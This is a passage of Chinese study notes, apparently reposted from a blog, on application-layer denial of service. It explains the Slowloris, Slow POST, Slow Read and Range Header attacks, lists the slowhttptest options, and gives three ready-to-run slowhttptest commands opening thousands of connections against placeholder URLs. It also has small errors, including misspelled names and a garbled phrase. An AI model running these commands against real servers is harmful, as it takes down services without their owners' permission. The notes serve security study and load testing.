应用层服务漏洞:
服务代码存在漏洞,遇异常提交数据时程序崩溃
应用处理大量并发请求能力有限,被拒绝的是应用或OS
缓冲区溢出漏洞:
向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
影响:远程代码执行,DoS
利用模糊测试方法发现缓冲区溢出漏洞
slowhttpest(源自google)
低宽带应用慢速DoS攻击,最先由Python编写,跨平台,尤其擅长Apache,Tomcat(几乎白发百种)
-g 在测试完成后,以时间戳为名生成一个CVS和html文件的统计数据
-H SlowLoris模式
-B Slow POST模式
-R Range Header模式
-X Slow Read模式
-c number of connections 测试时建立的连接数
-d HTTP proxy host:port 为所有连接指定代理
-e HTTP proxy host:port 为探测连接指定代理
-i seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
-l seconds 测试维持时间
-n seconds 在Slow Read模式下,指定每次操作的时间间隔。
-o file name 使用-g参数时,可以使用此参数指定输出文件名
-p seconds 指定等待时间来确认DoS攻击已经成功
-r connections per second 每秒连接个数
-s bytes 声明Content-Length header的值
-t HTTP verb 在请求时使用什么操作,默认GET
-u URL 指定目标url
-v level 日志等级(详细度)
-w bytes slow read模式中指定tcp窗口范围下限
-x bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
-y bytes slow read模式中指定tcp窗口范围上限
-z bytes 在每次的read()中,从buffer中读取数据量
攻击方法:
Sloworis,Slow HTTP POST攻击
耗尽应用的并发链接池,类似于HTTP层的syn flood
http协议默认在服务器全部接受请求后才开始处理,如果客户端发送速度缓慢或不完整,服务器为他保留连接资源池占用,此类大量并发导致DoS
Slowloris 攻击:完整的http请求头结尾是rnrn,攻击发rn....
Slow POST 攻击:http头content-length声明长度,但body部分缓慢发送
Slow Read 攻击:与slowloris and slow POST目的相同,都是耗尽应用的并发连接池,不同之处在于请求正常发送,但慢速读取响应数据,攻击者调整TCP window窗口大小,是服务器慢速返回数据
Apache Range Header攻击:客户端传输大文件时,体积超过HTTP body大小限制时进行分段,耗尽服务器CPU,内存资源
slowloris模式:
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://xxxxxx.xxxxx.xx -x 24 -p 3
slow post模式:
$ slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://xxx.xxx.xxx -x 10 -p 3
slow read模式:
$ slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://xxx.xxx.xxx -p 3
原文转自:https://www.cnblogs.com/Hydraxx/p/10470910.html